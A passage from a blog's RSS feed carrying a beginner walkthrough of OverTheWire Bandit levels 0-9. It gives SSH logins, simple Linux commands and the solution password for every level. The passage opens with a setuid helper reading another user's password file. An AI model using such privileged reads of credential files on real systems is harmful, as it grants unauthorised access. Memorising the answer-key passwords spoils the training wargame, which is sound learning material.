&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;bandit19@bandit:~$ ./bandit20-do cat /etc/bandit_pass/bandit20
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;GbKksEFF4yrVs6il55v6gwY5aVje5f0j
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</description></item><item><title>OverTheWire - Bandit Walkthrough - Levels 0-9</title><link>https://thanoskoutr.com/posts/ctfs/overthewire/bandit/levels-0-9/</link><pubDate>Thu, 20 May 2021 21:10:25 +0300</pubDate><guid>https://thanoskoutr.com/posts/ctfs/overthewire/bandit/levels-0-9/</guid><description>
&lt;img src="https://thanoskoutr.com/covers/overthewire.jpg"/&gt;
&lt;p&gt;&lt;a href="https://overthewire.org/wargames/"&gt;OverTheWire&amp;rsquo;s&lt;/a&gt; wargames are offered to help learn and practice security concepts in the form of fun-filled games.&lt;/p&gt;
&lt;p&gt;The &lt;a href="https://overthewire.org/wargames/bandit/"&gt;Bandit&lt;/a&gt; wargame is aimed at absolute beginners and will teach them the basics needed to be able to play other wargames. All the challenges are focused on the Linux systems and their commands. It aims to get the player familiar with the Linux terminal and introduce some basic security concepts.&lt;/p&gt;
&lt;p&gt;It consists of a total of 33 Levels. At each level, you have to find the password for the next level to continue playing. Each Level is a user that you connect as, using SSH in the &lt;code&gt;bandit.labs.overthewire.org&lt;/code&gt; server.&lt;/p&gt;
&lt;p&gt;In this post, we will present the solutions for &lt;strong&gt;Levels 0-9&lt;/strong&gt; of the Bandit wargame.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;See the solutions for the next &lt;a href="https://thanoskoutr.com/posts/ctfs/overthewire/bandit/levels-10-19/"&gt;&lt;strong&gt;Levels 10-19&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;NOTE:&lt;/strong&gt; &lt;em&gt;These walkthroughs are written and published to help other members of the community that are stuck at some Level. &lt;strong&gt;It is strongly advised&lt;/strong&gt; to first try the challenges yourself until you can progress no more, and only then come back here to see the solution.&lt;/em&gt;&lt;/p&gt;
&lt;h2 id="level-0"&gt;
Level 0
&lt;a href="#level-0" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;h3 id="level-goal"&gt;
Level Goal
&lt;a href="#level-goal" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;The password for the next level is stored in a file called &lt;code&gt;readme&lt;/code&gt; located in the home directory. Use this password to log into &lt;code&gt;bandit1&lt;/code&gt; using SSH. Whenever you find a password for a level, use SSH (on port 2220) to log into that level and continue the game.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The goal of this level is to log into the game using SSH. You can use SSH from a computer using any operating system:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Windows&lt;/li&gt;
&lt;li&gt;macOS&lt;/li&gt;
&lt;li&gt;Linux&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="solution"&gt;
Solution
&lt;a href="#solution" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;It is best to use a Linux distribution, to practice the things you learn in each challenge but it is not required. There are many guides on &lt;a href="https://www.google.com/search?q=how&amp;#43;to&amp;#43;use&amp;#43;SSH&amp;#43;on&amp;#43;Windows"&gt;how to use SSH on Windows&lt;/a&gt;. For Linux and macOS users, you can simply use the &lt;code&gt;ssh&lt;/code&gt; utility that is available from your terminal.&lt;/p&gt;
&lt;p&gt;The host which we need to connect is &lt;code&gt;bandit.labs.overthewire.org&lt;/code&gt; and the port is &lt;code&gt;2220&lt;/code&gt;. We can use the &lt;code&gt;-p&lt;/code&gt; flag to define the port we want to connect to. The username is &lt;code&gt;bandit0&lt;/code&gt; and the password is also &lt;code&gt;bandit0&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Log in to &lt;code&gt;bandit0&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ssh -p &lt;span style="color:#ae81ff"&gt;2220&lt;/span&gt; bandit0@bandit.labs.overthewire.org
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Password: &lt;code&gt;bandit0&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;We can find a &lt;code&gt;readme&lt;/code&gt; file in our home directory. If we &lt;code&gt;cat&lt;/code&gt; it we can see the password for the next level:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;bandit0@bandit:~$ cat readme
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;boJ9jbbUNNfktd78OOpsqOltutMc3MY1
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="level-1"&gt;
Level 1
&lt;a href="#level-1" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;h3 id="level-goal-1"&gt;
Level Goal
&lt;a href="#level-goal-1" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;The password for the next level is stored in a file called &lt;code&gt;-&lt;/code&gt; located in the home directory&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id="solution-1"&gt;
Solution
&lt;a href="#solution-1" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;Log in to &lt;code&gt;bandit1&lt;/code&gt;, using the password found from Level 0:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ssh -p &lt;span style="color:#ae81ff"&gt;2220&lt;/span&gt; bandit1@bandit.labs.overthewire.org
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Run &lt;code&gt;cat&lt;/code&gt; with redirection in order to read from the &lt;code&gt;-&lt;/code&gt; file as &lt;code&gt;stdin&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;bandit1@bandit:~$ cat &amp;lt; -
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;CV1DtqXWVFXTvM2F0k09SHz0YwRINYA9
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="level-2"&gt;
Level 2
&lt;a href="#level-2" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;h3 id="level-goal-2"&gt;
Level Goal
&lt;a href="#level-goal-2" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;The password for the next level is stored in a file called &lt;code&gt;spaces in this filename&lt;/code&gt; located in the home directory&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id="solution-2"&gt;
Solution
&lt;a href="#solution-2" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;Log in to &lt;code&gt;bandit2&lt;/code&gt;, using the password found from Level 1:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ssh -p &lt;span style="color:#ae81ff"&gt;2220&lt;/span&gt; bandit2@bandit.labs.overthewire.org
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Run &lt;code&gt;cat&lt;/code&gt; to the &lt;code&gt;spaces in this filename&lt;/code&gt; file using backslashes to escape spaces:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;bandit2@bandit:~$ cat spaces&lt;span style="color:#ae81ff"&gt;\ &lt;/span&gt;in&lt;span style="color:#ae81ff"&gt;\ &lt;/span&gt;this&lt;span style="color:#ae81ff"&gt;\ &lt;/span&gt;filename
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;UmHadQclWmgdLOKQ3YNgjWxGoRMb5luK
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="level-3"&gt;
Level 3
&lt;a href="#level-3" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;h3 id="level-goal-3"&gt;
Level Goal
&lt;a href="#level-goal-3" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;The password for the next level is stored in a hidden file in the &lt;code&gt;inhere&lt;/code&gt; directory.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id="solution-3"&gt;
Solution
&lt;a href="#solution-3" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;Log in to &lt;code&gt;bandit3&lt;/code&gt;, using the password found from Level 2:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ssh -p &lt;span style="color:#ae81ff"&gt;2220&lt;/span&gt; bandit3@bandit.labs.overthewire.org
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Run &lt;code&gt;ls -a&lt;/code&gt; in order to listen all files in the &lt;code&gt;~/inhere&lt;/code&gt; directory:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;bandit3@bandit:~$ ls -a inhere/
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;. .. .hidden
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Run &lt;code&gt;cat&lt;/code&gt; to see the contents of the hidden file in &lt;code&gt;~/inhere/.hidden&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;bandit3@bandit:~$ cat inhere/.hidden
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;pIwrPrtPN36QITSp3EQaw936yaFoFgAB
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="level-4"&gt;
Level 4
&lt;a href="#level-4" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;h3 id="level-goal-4"&gt;
Level Goal
&lt;a href="#level-goal-4" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;The password for the next level is stored in the only human-readable file in the &lt;code&gt;inhere&lt;/code&gt; directory. Tip: if your terminal is messed up, try the &lt;code&gt;reset&lt;/code&gt; command.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id="solution-4"&gt;
Solution
&lt;a href="#solution-4" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;Log in to &lt;code&gt;bandit4&lt;/code&gt;, using the password found from Level 3:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ssh -p &lt;span style="color:#ae81ff"&gt;2220&lt;/span&gt; bandit4@bandit.labs.overthewire.org
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Run &lt;code&gt;cat&lt;/code&gt; on &lt;code&gt;-file07&lt;/code&gt; starting with &lt;code&gt;--&lt;/code&gt; in order to escape the filename that starts with a dash:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;bandit4@bandit:~$ cd inhere/
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;bandit4@bandit:~/inhere$ cat -- -file07
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;koReBOKuIDDepwhWk7jZC0RTdopnAYKh
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Alternatively, you can run &lt;code&gt;cat&lt;/code&gt; with the full path of the file without caring about the dash:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;bandit4@bandit:~$ cat ~/inhere/-file07
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;koReBOKuIDDepwhWk7jZC0RTdopnAYKh
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="level-5"&gt;
Level 5
&lt;a href="#level-5" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;h3 id="level-goal-5"&gt;
Level Goal
&lt;a href="#level-goal-5" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;The password for the next level is stored in a file somewhere under the inhere directory and has all of the following properties:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;human-readable&lt;/li&gt;
&lt;li&gt;1033 bytes in size&lt;/li&gt;
&lt;li&gt;not executable&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;h3 id="solution-5"&gt;
Solution
&lt;a href="#solution-5" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;Log in to &lt;code&gt;bandit5&lt;/code&gt;, using the password found from Level 4:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ssh -p &lt;span style="color:#ae81ff"&gt;2220&lt;/span&gt; bandit5@bandit.labs.overthewire.org
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We use &lt;code&gt;find&lt;/code&gt; to find all files with a size of &lt;code&gt;1033 bytes&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;bandit5@bandit:~$ find ~/inhere -size 1033c
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/home/bandit5/inhere/maybehere07/.file2
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;And we run &lt;code&gt;cat&lt;/code&gt; on the found file:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;bandit5@bandit:~$ cat /home/bandit5/inhere/maybehere07/.file2
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;DXjZPULLxYr17uwoI01bNLQbtFemEgo7
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="level-6"&gt;
Level 6
&lt;a href="#level-6" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;h3 id="level-goal-6"&gt;
Level Goal
&lt;a href="#level-goal-6" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;The password for the next level is stored somewhere on the server and has all of the following properties:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;owned by user &lt;code&gt;bandit7&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;owned by group &lt;code&gt;bandit6&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;33 bytes in size&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;h3 id="solution-6"&gt;
Solution
&lt;a href="#solution-6" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;Log in to &lt;code&gt;bandit6&lt;/code&gt;, using the password found from Level 5:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ssh -p &lt;span style="color:#ae81ff"&gt;2220&lt;/span&gt; bandit6@bandit.labs.overthewire.org
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We use &lt;code&gt;find&lt;/code&gt; to find all files with these properties and we use &lt;code&gt;grep&lt;/code&gt; to filter out all the files that we don&amp;rsquo;t have permissions:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;bandit6@bandit:~$ find / -size 33c -user bandit7 -group bandit6 2&amp;gt;&amp;amp;&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; | grep -v &lt;span style="color:#e6db74"&gt;&amp;#39;Permission denied&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;find: ‘/proc/16190/task/16190/fd/6’: No such file or directory
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;find: ‘/proc/16190/task/16190/fdinfo/6’: No such file or directory
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;find: ‘/proc/16190/fd/5’: No such file or directory
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;find: ‘/proc/16190/fdinfo/5’: No such file or directory
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/var/lib/dpkg/info/bandit7.password
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;And we run &lt;code&gt;cat&lt;/code&gt; on the found file:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;bandit6@bandit:~$ cat /var/lib/dpkg/info/bandit7.password
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;HKBPTKQnIay4Fw76bEy8PVxKEDQRKTzs
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="level-7"&gt;
Level 7
&lt;a href="#level-7" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;h3 id="level-goal-7"&gt;
Level Goal
&lt;a href="#level-goal-7" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;The password for the next level is stored in the file &lt;code&gt;data.txt&lt;/code&gt; next to the word millionth.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id="solution-7"&gt;
Solution
&lt;a href="#solution-7" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;Log in to &lt;code&gt;bandit7&lt;/code&gt;, using the password found from Level 6:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ssh -p &lt;span style="color:#ae81ff"&gt;2220&lt;/span&gt; bandit7@bandit.labs.overthewire.org
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;So we use &lt;code&gt;grep&lt;/code&gt; in order to find the password:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;bandit7@bandit:~$ grep millionth data.txt
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;millionth cvX2JJa4CFALtqS87jk27qwqGhBM9plV
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="level-8"&gt;
Level 8
&lt;a href="#level-8" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;h3 id="level-goal-8"&gt;
Level Goal
&lt;a href="#level-goal-8" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;The password for the next level is stored in the file &lt;code&gt;data.txt&lt;/code&gt; and is the only line of text that occurs only once.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id="solution-8"&gt;
Solution
&lt;a href="#solution-8" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;Log in to &lt;code&gt;bandit8&lt;/code&gt;, using the password found from Level 7:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ssh -p &lt;span style="color:#ae81ff"&gt;2220&lt;/span&gt; bandit8@bandit.labs.overthewire.org
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We need to sort the lines using &lt;code&gt;sort&lt;/code&gt; and to find the only line that is not a duplicate using &lt;code&gt;uniq&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;bandit8@bandit:~$ sort data.txt | uniq -u
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;UsvVyFSfZZWbi6wgC7dAFyFuR6jQQUhR
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="level-9"&gt;
Level 9
&lt;a href="#level-9" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;h3 id="level-goal-9"&gt;
Level Goal
&lt;a href="#level-goal-9" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;The password for the next level is stored in the file &lt;code&gt;data.txt&lt;/code&gt; in one of the few human-readable strings, preceded by several ‘=’ characters.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id="solution-9"&gt;
Solution
&lt;a href="#solution-9" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;Log in to &lt;code&gt;bandit9&lt;/code&gt;, using the password found from Level 8:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ssh -p &lt;span style="color:#ae81ff"&gt;2220&lt;/span&gt; bandit9@bandit.labs.overthewire.org
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We use &lt;code&gt;strings&lt;/code&gt; in order to strip out all the binary code and leave only the text, and then we &lt;code&gt;grep&lt;/code&gt; with the equal characters:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;bandit9@bandit:~$ strings data.txt | grep &lt;span style="color:#f92672"&gt;==&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;==========&lt;/span&gt; the*2i&lt;span style="color:#e6db74"&gt;&amp;#34;4
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;========== password
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;Z)========== is
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;&amp;amp;========== truKLdjsbJ5g7yyJ2X2R0o3a5HQJFuLk
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</description></item><item><title>Hugo Site Configure</title><link>https://thanoskoutr.com/posts/hugo-site-configure/</link><pubDate>Fri, 30 Apr 2021 04:08:00 +0300</pubDate><guid>https://thanoskoutr.com/posts/hugo-site-configure/</guid><description>
&lt;img src="https://thanoskoutr.com/covers/hugo.png"/&gt;
